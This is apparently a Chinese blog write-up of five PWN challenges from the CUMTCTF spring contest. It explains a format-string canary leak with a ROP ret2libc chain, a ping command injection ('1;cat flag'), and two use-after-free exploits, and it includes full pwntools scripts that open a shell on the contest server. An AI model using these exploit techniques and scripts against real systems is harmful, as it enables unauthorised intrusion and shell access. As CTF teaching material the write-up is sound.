CUMTCTF春季赛-PWN

首先庆祝一下咋队得第二吧(原来是第二的,把密码学交了就显示第一了,当时没做出来)

图片

PWN1

查看程序,逻辑是读取你输入的字符串,然后和CUMTCTF对比,如果通过就执行bin/sh

img

在比较前下个断点,进行调试,发现此时对比的是地址0x4008d5

img

在看程序中输入的格式是“ld”,说明我们只能输入长整形,所以我们把0x4008d5转换为10进制进行输入4196565,然后调试.,发现此时验证通过了。

img

拿到flag

img

PWN2

先检查程序,发现程序开启了canary保护和堆栈不可执行

img

然后查看程序,程序会先执行一个fmt()函数,可以发现这里有一个格式字符串的漏洞,可以泄露canary值

img

然后执行vul()函数,可以看到这个函数读取的buf有0x64字节,而buf只有0x20字节存在栈溢出

imgimg

所以解题思路是先泄露canary,然后构建rop链泄露puts函数地址,然后重启程序,再次泄露canary地址,构建rop链getshell

img

因为canary的值距离栈顶是0x8个字节,64位Linux前六个参数用寄存器传递, 后面的才从栈上读取,所以要使var_8是printf函数的第8个参数,因此使用“%7$p”作为printf参数可以泄露出canary的值。所以payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
\#-*- coding:utf-8 -*-

from pwn import *

context.binary='pwn2'

context.log_level = 'debug'

elf = ELF('./pwn2')

libc = ELF('./libc.so.6')

\#p=process('./pwn2')

p = remote("1.15.81.218",10001)

pop_rdi=0x400983

puts_got = elf.got['puts']

puts_plt = elf.plt['puts']

start_addr=0x4006A0



p.recvuntil("fmtstr,Do you konw it?")

\# 泄露canary

payload = "%7$p"

p.sendline(payload)

Canary=int(p.recvuntil("00"),16)

log.info("Canary:"+hex(Canary))

p.recvuntil("Remeber canary!!")

\#构造rop链泄露puts的地址,然后重启程序

payload = "a"*24+p64(Canary)+"a"*8+p64(pop_rdi)+p64(puts_got) + p64(puts_plt)+p64(start_addr)

p.send(payload)

\#接收put真实地址

puts_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8, "\x00"))

\#计算libc基址

libc_base = puts_addr - libc.symbols['puts']

\#获取程序中system的地址和/bin/sh的地址

binsh_addr = libc.search("/bin/sh").next()+libc_base

system_addr=libc_base+libc.symbols['system']



p.recvuntil("fmtstr,Do you konw it?")

\#再次泄露canary值

payload = "%7$p"

p.sendline(payload)

Canary=int(p.recvuntil("00"),16)

log.info("Canary:"+hex(Canary))

p.recvuntil("Remeber canary!!")

\#构造rop链getshell

payload2 = "a"*24+p64(Canary)+"a"*8+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)

p.sendline(payload2)

p.interactive()

PWN3

用ida打开程序,发现程序是一个选择菜单

img

然后在选择1中,说是执行ping命令,但是没有进行过滤,会用system函数执行我们输入进去的命令

img

选择1,然后1;cat flag,即可拿到Flag

img

PWN4

Ida打开程序,发现也是一个选择菜单

img

仔细观察每个选择,发现漏洞点在2.delete中,函数只是free了堆块,但是没有把指针置空,会造成uaf漏洞

img

Gdb调试:

先申请2个32字节的堆块(size为16 24 32的堆块free后会进入fastbin不会被合并)

可以看到我们申请的堆块对应一个内存堆和一个print_heap_name函数

img

然后删除这两个堆块,可以看到删除的堆块进入了fastbin

img

这时候我们申请一个堆块,size为8,内容为cccc

img

此时覆盖了第一个堆块的print_heap_name函数指针

img

然后我们选择show,就会调用这个指针,所以我们可以控制这个指针调用我们想要的函数

img

程序中有后门函数,所以只要覆盖成这个就行

img

Payload脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
\#!/usr/bin/env python

\#-*- coding:utf-8 -*-

from pwn import *

context.binary = "./pwn4"

context.log_level = 'debug'

p = remote('1.15.81.218', 10003)

backdoor = 0x0000000400BCE

\#p = process("./pwn4")

\#添加一个size为32的堆块

p.recvuntil(":")

p.sendline("1")

p.recvuntil(":")

p.sendline("32")

p.recvuntil(":")

p.sendline("6666")

\#添加一个size为32的堆块

p.recvuntil(":")

p.sendline("1")

p.recvuntil(":")

p.sendline("32")

p.recvuntil(":")

p.sendline("7777")

\#删除index0

p.recvuntil(":")

p.sendline("2")

p.recvuntil(":")

p.sendline("0")

\#删除index1

p.recvuntil(":")

p.sendline("2")

p.recvuntil(":")

p.sendline("1")

\#添加一个size为4的堆块,内容是后门函数

p.recvuntil(":")

p.sendline("1")

p.recvuntil(":")

p.sendline("4")

p.recvuntil(":")

p.sendline(p32(backdoor))

\#gdb.attach(p)

\#调用index0的print指针

p.recvuntil(":")

p.sendline("3")

p.recvuntil(":")

p.sendline("0")

p.interactive()


PWN5

用ida打开程序,也是一个让我们选择的程序,选项1是创建账号,2是展示,3是删除,4是添加memory,5选项是验证main_account+16的位置的值是否等于1953330531,然后getshell

img

img

所以解题思路是覆盖这个位置的数据为1953330531

我们注意到删除账号的时候也只是进行了free,没有置空指针,有uaf漏洞利用

img

然后在add memory时,可以读入256个字节。

Gdb调试:

先创建一个aaaa,bbbb的账号,堆内存如下

img

然后尝试check,发现检查的main_account+16的位置是0x603010+0x40,也就是64个字节

img

然后删除账号,添加一个memory,内容为68个c

img

就可以覆盖到0x50的位置

所以只要把0x50位置的值覆盖为1953330531(十六进制0x746d7563)即可

Payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

\#p = process('./pwn5')

p = remote('1.15.81.218', 10004)

context.log_level = 'debug'

def Create_your_account():

p.recvuntil(">")

p.sendline("1")

p.recvuntil("your first name:")

p.sendline("aaaa")

p.recvuntil("your last name:")

p.sendline("aaaa")

def delete_your_account():

p.recvuntil(">")

p.sendline('3')

def add_memory(payload):

p.recvuntil(">")

p.sendline('4')

p.recvuntil("plz input what you want say:")

\#gdb.attach(p)

p.sendline(payload)

def check_CUMT():

p.recvuntil(">")

p.sendline("5")

Create_your_account()

delete_your_account()

payload = 'a'*64+p64(0x746d7563)

add_memory(payload)

\#gdb.attach(p)

check_CUMT()

p.interactive()



本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!,本博客仅用于交流学习,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。 文章作者拥有对此站文章的修改和解释权。如欲转载此站文章,需取得作者同意,且必须保证此文章的完整性,包括版权声明等全部内容。未经文章作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。若造成严重后果,本人将依法追究法律责任。 阅读本站文章则默认遵守此规则。